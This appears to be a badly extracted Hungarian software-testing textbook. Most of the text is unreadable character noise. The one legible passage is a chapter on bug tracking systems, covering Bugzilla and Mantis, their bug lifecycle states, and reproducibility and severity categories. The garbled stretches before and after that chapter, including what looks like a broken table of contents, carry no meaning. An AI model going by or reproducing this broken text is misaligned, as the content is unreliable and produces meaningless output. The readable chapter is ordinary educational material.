6624 94 1 623.%5 C14194
B&(11234%5 3
 4C1(
41*00+)1,!124151996 5 $4 #*  412341214662115623%541
62.9 "!44 4 4!621
4
8%5 662114 652311"156#
25.231
338155 ! *00++
B&-11151914 E
?115(
1913#C
1 6
9 5 4442! E
?1
86285 223!
3'9  @
(012425191426 %51  *00++
B&-1(
191%
4
 4#'
B&
" !8261&.1 8F( #88584 4#
1 1 &133%
& E
?11519 5 441 &)1
 G
4
551
21"85  915&0  14G
4
551151964 1855$4  *00+

012341562489
482

1165
66214 84 
23111131!1"
#
 $
4
5511519 5 4485 584% 4&8 1
#

'  0
9" 462 (141   3
  614 62 3 5 641591362
2314)*)* 2
4
4% 2385+8 
,4-3
 .51 611
(141
231161
423898484155855/4 1  1#231854 5
19% 23854
42389 
0 44124
."5#162  44124
1"5#123-1 9132311 
5821+13621 #% 4& 91  9151551231#1 34!5119151
23898  '00!161241519114 11854 4+78 3- 6232415+12

59 84% 5 # '00
15191"2  3
662114 5 /4+ '00
!161241519969151551231#1 5 915"5#1948 6219
551231#1 31"5#1948 
' 31855/4
44 
23114 4 4
93  444 #/4% 4+15
15 (1414855/4
4431
2311649#181323111,5#-44
662 (141
23116% 5 #11234,513114 662114 (1
4115
+ '00!16124151996 5 /4+ 21462 9
71"%1519
5815144!1"
# $
4
5511519 58%151315131 31519148
1 231:184%;3% 4&  412341214 58
15
234
4441%156212412341562
0(1411#15131 
5 45 +#
28 5%
 %85&3 4
15
234
44
(14165#8
 4612

#854 2/4 214   3


41%156212
41234156 36261131"&156626%131  4-33(14165#84
2119&#3 15515#/4 1 (141512<13 23 38
2(141=4.
41623>612 "2
5&#1 23119&#3 4&(14165#8%
362
8/4  340(14151252411123-31 + 91  23119&#3 
4&(14165#8
854 5 11854 # 4
 411 45 +#
28  64
51%1426 1215% 23858241,5141 ?
" 5 354<8583% 4&28 >?0-33
3&5
5&5 152
#5% 4%

1 1451(14165#819612 813 5 59 3824 6 5141
158 234 66211513131 4 1214131 (14115
234
444
5 +#
28 84% 2385% 4+15%
 38 41%15621122, 58
813 5 59 382413 45 +#
28 % 2385% 4&96  3; 113144
#24341##1 5
21"1<@@
>489 #82

#85828  915+&5
%  2;5
33 ?A1122 5841%1562124123415621
5 813
5# 54
91514194 4 23 38/482
# 5 44B
C11
94<31148
528 >?D6315+,15%
7# 1241,51
23114641%156212412341444 41 ( 823111A1%6338
95196463115
#1314123411#9664915 %85&3 462
"2
9 12346242231114+8423% 4  
5 9 43 E% "2 
15223-19
411 4123415621 "651331 312143151%14
26 12%
 4123415/842311%133 5 -3151223111

012341562489
482
415142 1412311462 348134 23114 2385 41234
48
5156 362613
 ! 8"891 # $1514 
$1 $1415124%""14123!
1148$4
 ! 8" &' $1415124%""141231146128$4 
%1413("15662(556621"194 4
$ 8554 4"162#4!
4 4 441234114 14123114 2385 &
015142 24 ) )141)234"*+,4 91 #1515(1412311
61
)18$4 8414165)8$12146"1)4215 231!
1#
5$ 9 4
4 141"%$488" 4 585 4,9141!211" 4 $
9141!2112155234#44 4828 5-
18+,21)2314(5# (1.
/)
02 5 446 91 151 1/)
02+ 
4#)91 24$2!
" 3114'""1 31214"1 304%$1314854
3,
3 )
338&
56748'59"
:512 612311234621$2291  141"%$488" 
4 585 4,9141
1412#854
;19
417
24245 )
28
41 $91 1 $362"(562854
34 22
91 * $
$1223(151585 234 51 $11#152

5  1412311
61'351141 $#15
5) 4,<=>6 $?32389
@?)4215 1415124 9141" 4 $91412155234#44 4828!
 5
A=$2291 1 $41234121414 $623421 $* 4
1B291"164*5114(26 15191 &1B19
41>4 42621B19
41
>4
2'3115 5114(26 115 19
417
24245 )
28 85#152

54
231119)1 $1518554 4, $15)4 4,
C'3148 $ * $ 2385 4 141#15 2385,#155146494

8"" 
0123411)96$16415913621
>
 ) 4
4 11851 $)
5
6415913 3
 41 $982311)96$1
15193626164 5 14(9,)  &
01512496$+65
4D362162 3
4123415621
28583 4,28 
584  91 855 482
E65
4D3621624123415621

012341562489
482
1 5 59 382623462611 521 46
9  1523
4151249665
 4433!"31 65
4 4 59 3 48 #1413
9148# 5 91564$
!%1 3845
2#8 
382 9 1 662415125&
'!%1 51 
223 #8 
382&
(!%1
)12662)48#14131 &
* 981 2312154 2
565
 491 +
59 3)191 85,
5 -4 4)
 41234154.1 5 59 38291 +1515,11311!% 3/0 ,
1 4111-
429 /3 -112)542524112#85 91 +151511 65,
 !
06415133+15 #1413234)84$1 1 231.1
5 5 4

)12+15 238541554) 1315 
5 
)12 341514

+15 2385194941 982
-11645111 6624!
%1+15 2385845 '45131982
-11155 -
#85 23462
(982
-19 69852#8 
38296 15+
 4!0234)8+
5,
4 482 6446415133+15
411562124123415624#6 134 3 5 59 38,
2
 +1465
 91 +
59 3
4446)9
 63#1!
028583 428 
584  91 855 -482
76  4151249665
196112162 31 14519
4#854613
91  48
3 34 -
4
4 
5 .1 5 59 3822231
95!851

5 9%141521 315
234
4441234154)5 
28 !:
4
291 1,
13
 2412234123414; 1551562341
 # 5#58
234)841-131485 !7194;5 23
2-658)51 
5 +
98

  5555+15 238591 5131982
-11
)12662114
5 
 .1 5 59 38291 82
9#1551234)8194;5
  +
15+
)5 # 5#58  !<
 5 23
2 4))-658)5

 455+15 23851 151 5662114=91662344(
982
-12314415> 
 .1 5 59 382 #85 23
?2383 568 
84

3!
<412234123412146 3/0 1 4111-
42 
5 2385 4 8
88 883
5828
36218554 4
4
#8151936265859,
115141384 -533
!
0
#81519362
09%141419623141216-12 41512496  4
 4159141

982 5 59 382
 151913122 3
 4!* 815151 2=32,
914>2-1852  9%141,1341#1314441512496151931233 3,
4) 4  6-231-
 9
; 94%
2
+4"6156-1219,
-
485 9%141  4 46291+651 23
2151462462  +
4
62341155!05 -6415913621 9%1419@%A9/B
99
<1-  41C 5)12=B<C>+
984)9 154) 9141 3  4
 4!"3

012341562489
482
9141
141285  91412 12 1211
44
9 445 

28 95 26461854
34 4828 58554! 4"1#9141
141285
$%1414151462&488   5&48 4 585! 4"
% 411' 41512496412341562148
#131441512496412341156 362148(! )1 5 59 382 4
 
5 22* 4 5854(  31961291 "3 15! 2385"
4&91 615(264624613!14+(!
91
5 
56984( 5 22* 
4,'6231*"515623462615( 4&! 1!
338 828 5(62 
4
8-141 +.
/
4
2(!
1 3

242 3
84( 964 3 5 59 382515 22*(62
!
91 4 585 23,11234914231414031 &2231414415  4( 91
5&319,&624 6159 1231 923484
(9 )1 5 
59 382151234'616236'5
-6!8"4 82(915121 426 6151 3

24! 4 41512496

569 
82841
/ 15+ 1231
98" 4(* 94 231123462919"
15! 238582845 5 44 64
7(6
24 47626924 47123&3&(8
)2
5 44 60 2%  1762 631%
751!14121 426 +1
9#3  4832!
3 2
5""15  4
    5
48 415124
9623,11234914231464: 2385 3  4832 84" 85
4 5*4
44 
234 123&3&14#63;<7=)));2
9>!441??
)));2
9@A1 54
82"*123&311 65 
B: 
5  1 14151249641+514191 4 585828  )1 5 
59 382"84( 9 341514(!

5 " 5'4+ 5 
59 382 4(915 1562& 343

215  4
156 3626!1323+
26 12'9126 140342 
5 4 2482

988 4&46
!14(9151 9,15141156 3626!1323+26 12'4 5"338# 
113141584! 44(!
!
  ! 4!
338 5"3"4 2482
 4
)1 5 59 382!
3
C: 2385
56234'123&3&14)1 5 59 382151936261(
41!1562 5 4491 94 4
3"215162  291 15146261
1562346261(62 31 129
5
!82  
8 883
5828 
#!82  
1 
5   9( 91591 94 4 (!
915
12319
59159829
54! -6!86231,)1 5
 59 382
546234'123&3(151641 11211591142(
6$3
17=)))D124
9?
1?A( 36E4931F47=)))
5 
9?

49314?A62 3605217 11260124 31
9 10

5235 4

97=)))1521
 ?44?A123&31
031123&3&! 2385 48 65 (!
91 ! 48
33151 3 5 59 38
2415124966123,11234914231464: 1 23191 64144+(9

012341562489
482
5
48 2311234914231414 
15131421852 
5 5
3
3
 5
2231
5 582
415124964123415621 
4
21  15 
5441!6126 
9155144
28583 4"!84114 3 5 59 382# 421 414$4624

3 1231156462645514%16291 1%24624114
8&&
$462115 2
5 4& '&&1 11314&1 $!1413%469 $$14
41414484(
)*1115%4415155$41942  #96625641155

3#1 4123412141441234121414 !84415124961
91 1515%1+91
#1215 2385"489
4
4415!84!85 23%
15!848411234%61226 ,6234215
41234121414 4 59 3 155 239#585!8415 2385"4 -
3 " 4 41156249151 58!14 3 5 59 382462 412341562
$131464
.28583 4"28 + 1231 3
61226 1915515 91 $!11144
41156241315415124966291 &3 4"28 2$162655,4$&&
4613%4%5 0
9 4123112146&1514613% 231!1 -
!1 23
4!1
 #8"62 4151462 414/8 
01*141 1  4 
1441512#
 5482/54
82"/4123415%-
125$&$3%1*1414115621241234156213 2385 4"41 154
&19#4 482 
34151249641234156261&1113621#48 4123411961
21 411151  1 141512496
84'3496  315%44155
91 41915%44&8951!854
34 4824 4 8!6 1 41512496
$!156261658&"5


Szoftver tesztelés

9 Hibakövető rendszerek
Egy szoftver készítése során és átadása után is merülhetek fel problémák a működéssel
kapcsolatban. A szoftver készítése során és gyakran az átadás után is tesztelők keresnek
hibákat, illetve az átadás után a felhasználók futhatnak be egy-egy hibába. Ezeket a hibákat
javítani kell, amihez a programozóknak értesülniük kell a hibákról. A hiba felfedezője és a
fejlesztők között a hibakövető (bug tracking) rendszerek teremtik meg a kapcsolatot. A
hibakövető rendszereket néha hívják hibabejelentő rendszereknek is. Hibakövető rendszer
például:
 a JIRA,
 a BugTracker.NET,
 a Mantis,
 és a Bugzilla is.
Ebben a jegyzetben a Bugzilla és a Mantis rendszert mutatjuk be.

9.1 Bugzilla
A hibakövető rendszerek legfontosabb tulajdonsága, hogy milyen életútja lehet a hibának a
rendszeren belül. Ezt a hibakövető rendszer állapot gépe írja le. Az alábbi ábrán a Bugzilla
állapot gépét láthatjuk:

9-1
Szoftver tesztelés

A hiba legegyszerűbb életútja a következő:


 A hibát bejelenti a tesztelő vagy a felhasználó. Fontos, hogy minél részletesebb
legyen a hiba leírása, hogy reprodukálható legyen. Ekkor a hiba Új állapotú lesz.
 Az új hibákról értesítést kap a vezető fejlesztő, aki a hibát hozzárendeli az egyik
fejlesztőhöz, általában ahhoz, aki a hibás funkciót fejlesztette. Ekkor a hiba

9-2
Szoftver tesztelés

Hozzárendelt állapotba kerül.


 A fejlesztő a hozzárendelt hibát megpróbálja reprodukálni. Ha ez sikerül és megtalálja
a hiba okát is, akkor javítja a hibát. A javítást feltölti a verziókövető rendszerbe, majd
jelzi, hogy megoldotta a hibát. Ilyenkor érdemes egy regressziós tesztet csinálni, hogy
meggyőződjünk, hogy a javítás nem okoz-e más hibákat. Ekkor a hiba Megoldott
állapotú lesz.
 A megoldott hiba visszakerül az azt bejelentő tesztelőhöz, vagy esetleg egy másikhoz.
A tesztelő ellenőrzi, hogy tényleg megoldódott a hiba. Ha igen, akkor véget ér a hiba
életútja, az állapota lezárt lesz.
Az optimális lefutástól sok helyen eltérhetünk. Például kiderül, hogy a hiba nem
reprodukálható, vagy a megoldott hibáról kiderülhet, hogy még mindig fennáll. Ezeket a
lehetőségeket mind lefedi a fenti állapotgép.

9.2 Mantis
Ebben a fejezetben a Mantis (magyarul imádkozó sáska) ingyenes hibakövetést támogató
rendszert mutatjuk be. Az alábbi ábra a Mantis állapot gépét szemlélteti. Itt láthatjuk, hogy
az egyes állapotokból, hogyan jut át a másikba a hiba.

9-3
Szoftver tesztelés

Tekintsük át, hogyan halad a folyamat egy hiba bejelentésétől annak lezárásáig. Először is a
rendszerhez hozzáféréssel kell rendelkeznie a bejelentőnek. Viszonylag egyszerű, ha belső
tesztelésről van szó, mert ott többnyire adott a jogosultság a hibabejelentésre. Származhat a
bejelentés a megrendelőtől is, aki kapott tesztelésre egy korai verziót, vagy ami rosszabb,
már rendelkezik egy kész, kiadott verzióval. Elképzelhető olyan bejelentés is, amikor mi
vesszük fel a rendszerbe a hibát, az ügyfél telefonos elmondása, vagy levele alapján. A hiba

9-4
Szoftver tesztelés

bejelentője a rendszerbe bejelentkezve láthatja minimum a saját maga bejelentette hibákat,


állapotukat és a hozzá fűzött megjegyzéseket, valamint ő maga is további információkat
fűzhet a bejelentéshez, sőt, erre gyakran meg is kérik a hibajavítók a bejelentőt.
A Mantis rendszerben vázlatosan az alábbi módon történik a hibakezelés:
 A hibát bejelentik. Ezt a hibabejelentést a hibás szoftverhez rendeljük (hiszen egy
hibakövető rendszer több szoftver hibáit, illetve egy szoftver több verziójának hibáit
is tartalmazhatja), elláthatjuk kategóriával, reprodukálhatósággal és
súlyossággal. Kezdetben állapota Új lesz, ami a későbbiekben folyamatosan változik,
a hiba javítása során.
 Kategóriákat magunk adhatunk meg a tesztelt rendszer igényei szerint. A
későbbiekben, a hibákat bejelentő felhasználók, ezekbe a kategóriákba sorolhatják a
hibákat.
 A bejelentésnek lehet reprodukálhatósága:
 Mindig: Leírásában megadott lépéseket megismételve, a hiba mindig jelentkezik.
 Néha: Nem minden esetben jelentkezik. Ez többszálú programokra jellemző.
 Véletlenszerű: Véletlenszerűen jelentkezik. Ebben az esetben nagyon fontos,
hogy megadjuk a hiba észlelésének pontos időpontját, hogy a fejlesztők a
rendszer napló állományban visszakereshessék a hiba előtti állapotot, amiből
rekonstruálható a hibát kiváltó események sora.
 Nem ismételhető: Nem tudtuk megismételni. Ebben az esetben is nagyon fontos,
hogy megadjuk a hiba észlelésének pontos időpontját.
 A bejelentésnek lehet súlyossága:
 Funkció: Funkció hibás működése.
 Nyilvánvaló: Megjelenítés, rossz szövegigazítás, egyéb szoftver ergonómiai hiba.
 Szöveg: Elírás, helyesírási hiba.
 Nem súlyos: Kisebb, általában funkcionális hiba, aminek létezik egyszerű
megkerülő megoldása.
 Súlyos: Valamely funkció teljesen hibásan működik.
 Összeomlás: A hiba a rendszer összeomlását eredményezi.
 Akadály: Vagy a fejlesztés, vagy a tesztelés nem folytatható, amíg ez a hiba
fennáll.
 A bejelentés állapota lehet:
 Új: Olyan bejelentés, amihez még senki sem nyúlt.
 Elismert: A vezető fejlesztő elismeri a hiba létét, de még nem osztotta ki, mert

9-5
Szoftver tesztelés

például nincs elég információ a hibáról.


 Visszajelezés: A hiba leírását pontosítani kell, a fejlesztők további információt
kérnek a hibáról.
 Hozzárendelt: A hibához fejlesztő lett rendelve.
 Megoldott: Megoldás született a bejelentésre.
 Lezárt: A bejelentés lezárásra került.

A projekt felelőse figyeli az érkező bejelentéseket és a megfelelő fejlesztőhöz rendeli a hibát.


Ez úgy is történhet, hogy kiadja egy-két fejlesztőnek, hogy nézzék át a bejelentéseket és
kezdjék meg a hibák javítását. Egy hibát általában hozzá lehet rendelni máshoz és
magunkhoz is.

9-6
Szoftver tesztelés

A hiba bejelentője ezután megnézheti, hogy hol tart a javítás. Láthatja, hogy a hiba az Új
állapotból, milyen állapotba került át. Ha már kiosztva állapotú, akkor jogaitól függően
láthatja azt is, hogy kihez került a hiba, és milyen megjegyzéseket fűztek eddig hozzá.

A javítással megbízott programozó és a hiba bejelentője gyakran nem ugyanazt a szaknyelvet


beszélik. Ebből aztán rengeteg félreértés adódik. A programozó nem érti a bejelentést, a
bejelentő nem érti, hogy mit nem ért a programozó. Így elég hosszadalmas párbeszéd
alakulhat ki a hibakezelő rendszer segítségével, ám végül tisztázódik a helyzet, és vagy
lezárják a hibát azzal, hogy ez nem hiba, csak az ügyfél nem olvasta el a kézikönyvet (nagyon
ritkán olvassa el), vagy pedig elkezdi a programozó a javítást.
 Ha kész a javítás, legalábbis amikor a programozó ezt gondolja, akkor a „tesztelésre
vár” státusszal látja el a hibát.
 Ezután többen is tesztelhetik a javítást. Erre szükség is lehet, mivel a több szem
többet lát elv itt fokozottan érvényesül, sőt mi több, a hiba kijavításával esetleg más,
rejtett hibákat okozhattunk, ami ugyan eléggé amatőr eset (azt mutatja, hogy nem
csináltunk regressziós tesztet), de nem kizárt.

9-7
Szoftver tesztelés

 Ha sikeres a tesztelés, akkor a hibát kijavítottnak jelölhetjük, és ha a bejelentő is


megelégedett a megoldással, akkor azt a hibabejelentés, megoldás mezője
segítségével közli.

A fenti módszerrel természetesen nem csak bejelentett hibákat lehet nyomon követni,
hanem akár új igények megvalósítását, vagy akár egész termékek gyártását is követhetjük
vele, ezért hívják ezeket a rendszereket munkakövető (issue tracking) rendszereknek is.
Utóbb minden menedzser álmát is ki lehet nyerni a rendszerből, azaz mindenféle
grafikonokat és kimutatásokat. Ezen kinyerhető adatok között találhatunk fontosakat is, mint
például, hogy mennyit dolgoztunk egy munkán. Ez segít a továbbiakban megbecsülni, hogy
bizonyos típusú munkákat menyi idő alatt lehet elvégezni.

9-8
Szoftver tesztelés

Tartalomjegyzék

9 Hibakövető rendszerek ................................................................................................... 9-1


9.1 Bugzilla ...................................................................................................................... 9-1
9.2 Mantis ....................................................................................................................... 9-3

9-9
012345674681469
8

25 8 819829 646


01 2345674681469
8

  !"#$$
%! &'()"#$$*+,(-! !./ 01 . +23+
4 -(2/*5678$8"6#9:$:46"##;6##7<
.=!! 6.(-  (01 . +
2-(2 >? '!+ +! ! 3!+3@
4 -(1!'! 3, ?A .( 3
, ?%4?  1  .!(8

B?- (> "##C,  > 8D( 01 .E? 8F!>1! 3 !!+
12342567
89
0

9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
8
0

  0
9999999999999999999999999999999999999999999999999999999999999999999999999
8

 
0

999999999999999999999999999999999999999999999999999999999999999999999999999

 
! 
99999999999999999999999999999999999999999999999999999999999999999999999999

"00#$%
! 
999999999999999999999999999999999999999999999999999999999999999999999999

"#0&
'(
0)
99999999999999999999999999999999999999999999999999999999999999999999999999
*
0
+!&,
!-$ '#$%
0)
9999999999999999999999999999999999
.
0
# #(
% ! 
999999999999999999999999999999999999999999999999999999999999999999999999
/
0!
!
'#
99999999999999999999999999999999999999999999999999999999999999999999999999999999
88
1
! !
(0
999999999999999999999999999999999999999999999999999999999999999999999999999999
82
" !0

9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
83
0
0
 ## !
9999999999999999999999999999999999999999999999999999999999999999
8
45$0
'#$%
+ $ 
9999999999999999999999999999999999999999999999999999999999999
8
6!
#$ #
99999999999999999999999999999999999999999999999999999999999999999999999999999
8*
7
4
0#
#$ #
99999999999999999999999999999999999999999999999999999999999999999999999999
8.
8# 
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
89
:# !%
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
8;

000
23567589
5 
0
!"#$01$%%&'(%)%&%*&+
,-(.$*0/011&.23&.*$4
5678&88."8/01)09

01
1245657589
8 7857855

8 785785 68 
!"!#$%&"!'!(!%!!"&'&"'%)'*&+,!
!"!!#"!#-&#!"!"!./'&.#'.!./0.!"!#!#"1!2"
&'*"#31&'%!!"4(!''!(&&,&'.'!"!'#!0!''-
"&'&##!!'2!"!!#56789:+!';./!'#36789
,!0'1&$0"2#%4&'*&#0(<,!'!!#!-!"!
1"'#$,!#!2!'2"/$#!&=>+!'1"'*#3#'!"'#'(&#(?
@%!!"4
@4!"''.
@'/&&!)""4
@"!.!'!(!#0,0"/!=0!
@(!2"<#!!'0+;..!#!"0.
@1&+00(."<,0!'(!
@ ).'(0(#'#=
@(<,!'!!'!(!#3!'>&#0+;..,0"/!#&>!#)(#0"$0"2&'0
,0.!1>
@#)&#(!''!#=,'/&#(&.
@10#&"/#!!'0(&.*,0.!1>*(&&'#'(
@#&"#) !"1&+00!#"#&"',0.!1>
8"'1*3!"!!#$(&)'+&.''"#(.)#31!"'("#
&'*+)"4#*#3!2+& (!"!!'2+)"#4*#0%&.(#*,0.!1>*
+)"#4*#!./!./0.!"-A(&#&#!!'00$!!!
+!'"#!#"!"3(!'/((!.(!&+,!!!!'0(!41"()&#
"!.'0%;'-
!!'0!&""'!.')./"&'/"+&"&'0%0&+,! !"!!#
+!>'!0!&"3("'#'(&##*>"#!!'0!31!">!'!"
'#'(&#"+&(4*+& -A!"+;..20.(&(<#$0#1
!.0'#'(-8,!'+!>'!0&"'#'(#*0(0%;'3
!00((*&=#$'0.!"./.!"!'"./&00#<3("#*>,="#
#$'0.!-A./0BBCD!E 4'!+!'(00!"'#$'0.,&"'="#!./!
1=%)&#?
11,!!'=,#$'0.!?0FG0!'=,./#&.?HG
1"(<#$2E9!'=,#$'0.!?0FG0!'=,./#&.?FG
1"(<#$26789!'=,#$'0.!?0CG0!'=,./#&.?FG
10(!'=,#$'0.!?IFG0!'=,./#&.?0FG
1"(<#$2'#'(%&.(!'=,#$'0.!?0FG0!'=,./#&.?JKG
'#'(!(%&">*''%,!2+&"&.L!131&./&'/",'*)'>&"
(!.3(!'/1!'/!!"010#&"/"(<#$#3'!1!2,0!0().'(0
&".&(*&=-!!'0$!!0.0>*'>!''!(0"/31&./
0
0123456789
3 863 8
7  
9   8635 26 212345678 8253 4 8 783
7685 7 2  2 5
  2
2 26589

183 78 06 2
2 26589
278 
2!89 2342 5 2
26
21234567882  06 212345678 3 863 8 5333 8  26 2
2 26589
3 863 83 78 73

3 78 
2327
0 37 7

    26 2123456789
923
9658542 344 3 863
 235852 78 86
8  3 06 212345678 3 86 3 8
78 2 2 3 
3 "12
 3#
3 19496 $4 2!
49%& 2 53 5386" 19496 $! 2 49%&  
6 '38 0 4 2!

49% "1 8 3   9 2


96
26 212345678 4 8 94
3272  !82
26 2123456784"

7 3 2123 3



3 7685 
 2626 263 3 683 
  21933
18 26 53 5 286
( 2 8  )6 2 86 44 3 863 87 86
6
3 8 78  3

'5 78693
 186 73 2944 71
 38 5 8
 8 44 4 8 86 3 1 3   )

9
2 9 2 3 863 8 3
  17
2 3  8 5 2933  3 86 3 333 4   21239
8 3
  3
7 2 3 863 71   38 8 8 3  0 ! 2 49%  
6 '384  26 212345678
94
39

"153 78 
8 269

"15 23"12
 2 3 863
 *7

9 26  8
8
3 863 8  38 
78 44 5 2933  3 19 967 2944 26 8  
9 1 33 44 86 2 3 863 8 78 )6  "186  78693 26  8 94
39

"19 582

8 
18
2 298 78  33 7 7
06 212345678 3 863 8 587
 
6 '38 "12 26 2123
6 87 7
9 12 5"
91 2765 2 2 3 863 8 9 22353 2626

9 26  8
7379
3  8 83
766
  3 8634   186 73  86 932 7   ) "186     9
! 8 !77
8 3 863 87 86
6
8 "186 329
2
2 2623"
8 8 '38 "2
2944 1 338  3  06 2123456789
5 26 2 5447 3 863 87 3  3

 '3 3

#
012345678 82 3 863 $+! 2 0 82 68
 ! 2
71 '3 7 9 2
3 83& 8542 71  7 3 795!7"  4  2(
8 26  8 
3   26998'323"
(
 0 823  68 895 7453 9
96 2
72212

 8 2123 
2  2123  3 344
3  684  78 2865 2
 0 82 5 3965853

 3  869
58 3 863 7 9  
 3
(

7  3  9 2 
 
   
2
723
96589
26 2
2 26589
42
,
!792 73587 3 863 $, 23 0 
!792 7358 3 863 88942 26 21234567842
3 83& 359 3 5589
 2
3' 
78
183 3 863 7

)
895 767
 9 2 71  6 37

!7"96 3 67
( 2
3'  8 2  '933
91 9
2   8  13 215
( 8   9
962
(
  3  6 33  
23589
23 0 
!792 73587
3 863  !27682 5 
6 44 2 29598
9296587  
3 863 87 "186 32596 786 
733 78
"1 8
3
3 863 7
012373 73587 3 863 $-3 73 06 21239
73 73587 3 8634  767
 9
3 83& 2  21933 73 73587 33
  
( 26
6 37 91 4   21933 86245 9
2
8 6 
86245 9
2 "42  8 
(  012345678 8673 
26 73 73587 

6 323962
2 ./*0/0 1)0
33
 26  1 723
96587 86245 9
 2 234 2566 
52-75) 8 89)81  
38
2 273 2 :),0564
9!7"

;1 7 3 863 $+ !73 3 83& 0 1 7 3 863 895 7685 7
 9 26
 8 21239
96 2 " 96658   ( 26 6 37
86245 9
2
8 26 21234567842 1 775 3 1 7

    
1
( 

0123456789
3 863 8
  87 3 863 921 3 83 0 3  87 3 863 895 68
  9
26 212345678 3  6 33 273
352 3  83 7 3!12"
2 3  8 923
96# 5589
23$ 0 3  87
3 863 895 2 % 21933 2123% 78 4 3& 383
% 383 67
 7 3 % 67
2 % 21933 865%

9
! 8
8 ' 19 96582 26 53 5 28671 4 
'!3" $
(23
9857 3 863 )!  983 0 3  83% 3 863  2 2 5 28671
68
3 83 2 '9398244 8 2
9744
1 68
8 3$
*7 2
1 687 23
985 23582 2
%+ 3 9,37%2 765 58 &886 3 33 212345678 %#1983589
23
7  3$
0 3 863 8  395447 98635 96587 2 3 2352 2 37,7
!8 212345678 '  86387 8

242323587 %+ 3
 6
&31 3 
8
86 737 89,9398358$ 06 212345687
 34  3&4486& 78 '91! 23 9 9 2 5 396589

& 3
6
4  % 
26
212345678 4# 7 3 863 83 7 7$ 0 '9398244 3 
8 89,939
-
. 7'9%57# % 3 863 8 06 7
2
9744 3 863 87 ' 2123 26  7'9%57#
%
4 73  6 7 3 2 3 6 7'9%57# %

53 1 68 6
2,89 #17
$ *7 26 212345678 
9886244 71 86# # 212383!
353  3 2865 232
895 26 6 37 %91 2 2 #86+8 % 5 3967
$
0 5 39658  3 37  7
%  83 7

%#198! 5853 8 % 86+83$ *71 7


8 34  26
212345678 8%2 78 % 5 3967
$ 0 8%2 %#198! 582
9
2 3 863
26  %#198! 3 % 923
96# 3 86 3
3
 3 
$ /6   17 3 863

719 96582 26
86 +44 ' 21239

&6 323967
 786  9
2 765 3244
2 7685 21# 3  3 #
& 2359 23# 6 73 33
2123 %

& $
0  8867#8 3 863 5 39658 !35 0   86687#8 3 863 2
95442 %5 6&33 3 863

78%3 3 '!33235853  37$ *7  212345678 %


5 396582
72323 2 3&447 212345678 %  63 2
%#198358 !35  86 + 767 9  % 9
96933"
8 83 2 %#198358 2
95442 %5 %+
&1 '!
7#

3
73 34 $
 ,3 87 3 863 0 8%542 2 2 '!
792 73587 783542
  
%
 767
 9 269
% ' 
"
2 3 
4  86  ,  589
2

& 3 %

$
0 3 ,387 3 86 3 8 895  3 863 %

 


7,#45 582$
. '767
27 % 3 863 8 06 212345678 '  8638 9,37%2 765 587  273
32

72 2
73587 '56782742 2 97
27 3   % 5 3967
 1
2 2332 ' '767
27 3 

72 2
3582$ 0 '767
27 3 4 
2 % 5 396933 86 
6 3 % 5 396933 3  83%3 '9
%!3237 6  3 863
 2 26 53 3  83% %!323#

68 $
12 26 2123456789
3 863 8 '9398 ' 2123 %78
84 3  13 2 2
9 2342
73
5442 '91!  %73 2 29%598 ,92% 3 863 8$ /
865%98 9
2 2 % 

&6
7 %  3
26 2 5447 3 6
-
2756# 862
%27 78%  3
2 3 863 88
2,89 2342 26 212345678
6 
862
%4 


0123456789
3 863 8
2944
 389623

 8 44 35923 86
6 5  1
68
0 787 8693   8638 7 2 86  252 9662 2 3 863 8 86  

2944 78 83 26 212345678 7 542 78 0


 3
6   6 3
4  2 3 863 8 97 35 3
212345678   8638 2 2  73 !323!
4
"##$%&%'($%)%*+,-./$012&1/-*3/
06 212345678 ! 542 78 2 86   2 2 3 863 8 97 35 3   8638
4 278 2 566
73 83 17  1  9 38 186 322
0 566 186 32 2 2  7 2
 3
6
4 
9 2 23
886 9
:;<;-%*;/$%)%*=;)1&&1-3/
0 9
962398 91 68 86   3 263   67
74 9 26 212345678 82 8 1 74
23
9857 91 3    84 4 2   8638  2 2
3!

74 2 
  3
64  344 56789
 863> 79917
2 91 0 3  68 8 5678542 ?82
 292 @ 3  5  1
68 4 2  3232 2662 2  795?7 
34 1
  35
7 71  86 3 0 9
3   18 895  79244
 2 2
!
7 2

 3 
 8 2 91 6 33 3 > 3 A6  793589
9
9623982 > 
4 26
212345678 91 4 0 3  68 9398244 8 79
B 71! 4 81  8
 3  91 68
C
 3 
93983582
D @ 91 
4 9 2863582

19 58
E 3 863 8
F 78862 2 C 932
0  3 91 3 53  9 22398 8 9
962398 91 8 92 793583 8
6 383
3232 264 29 2 3 
8
9398  26 783 14  53944 3 863

!333582
GHGH$,+I%$J$K$"##$%&%'($012&1/-*3/$&3'3/1.

L.//-.I,MN($%)%*=;)1&&1-3/
0 788675@4   88678 3 863
86   4 9 26 212345678 82 1983582 !35
 61 88>
2 9 2
95442  2 83933 !
?7
395442 78  8
4

0123456789
3 863 8
 
1
 0 4763985 8 78 97 35 3   8638 2 2   9 6  3 863
3
71  5 39658 35 33288
 3 53 2 3 863 8 32 19
  2 198!358 86
5 7
 "6   
6 !38 7
2
58
78  26 3 863  929658 #$%&
3 83 783 1  9 3'   !2 9 2 3 863

86!38   26 8 8 2
  86384  7 (78 2117
198!327 2 91  2! 2
2)89 1 3 863

  32
 0 $%& 2 2(   8638 44 8 7*
+71  3 863 5 !3582 2
!53 
)796
,2 3 863 3323582- 2 87
 8 53  3 37 2
 3
6 
)72 8 ! 78862 26 + 92-
2   87
. 39544 8 2 / 932
/2 91 198!3582 
78 44
6  3 3
4 
02 3 863 3323582- 2 87
 8 53  3 37 2
 3
6 
)72 8 ! 78862 26 + 92-
2   87
. 788628 2 / 932
06 $%&  
6 !38   9 2 3  6 9442 53919 2 2 ) 9
23   44 
 3512
26 7 3 5 396589
 6 3 88 7 06
86!3 33 3 863
9442
9
2 765 12
1  94 2
 63 2 2982442 68 2317
 
$ 86 3 8  
 52 9 2944  21239
9  3 7 2 3 863
 !582
8  23582 $95447 
3
73 3 26 78 9 2 $%&  
6 !384  2   863
22244 65232 26  8 91 9
  86383 786  22244
2 78862 683 26
6 33  
2 78 
23456789:;3<=>8?65<@>A<B>C
0 9
962398 212345678   8638 895 91 23 9  21933 198!358 29
87
3 
4769  "

9 ) 86 44 (2 7886237 6 6  8   8


5 29396 73 9 396237 2 5  !3 198!3589
23 0
95447 5 2939
96 33
7886238 232  67
 383 7  786   766.
2
95447   86387
5 2939
23 06 212345678 82   168 3
 17 9582 9 344  3 78

 17  0  67
6 84 4 921 

 *
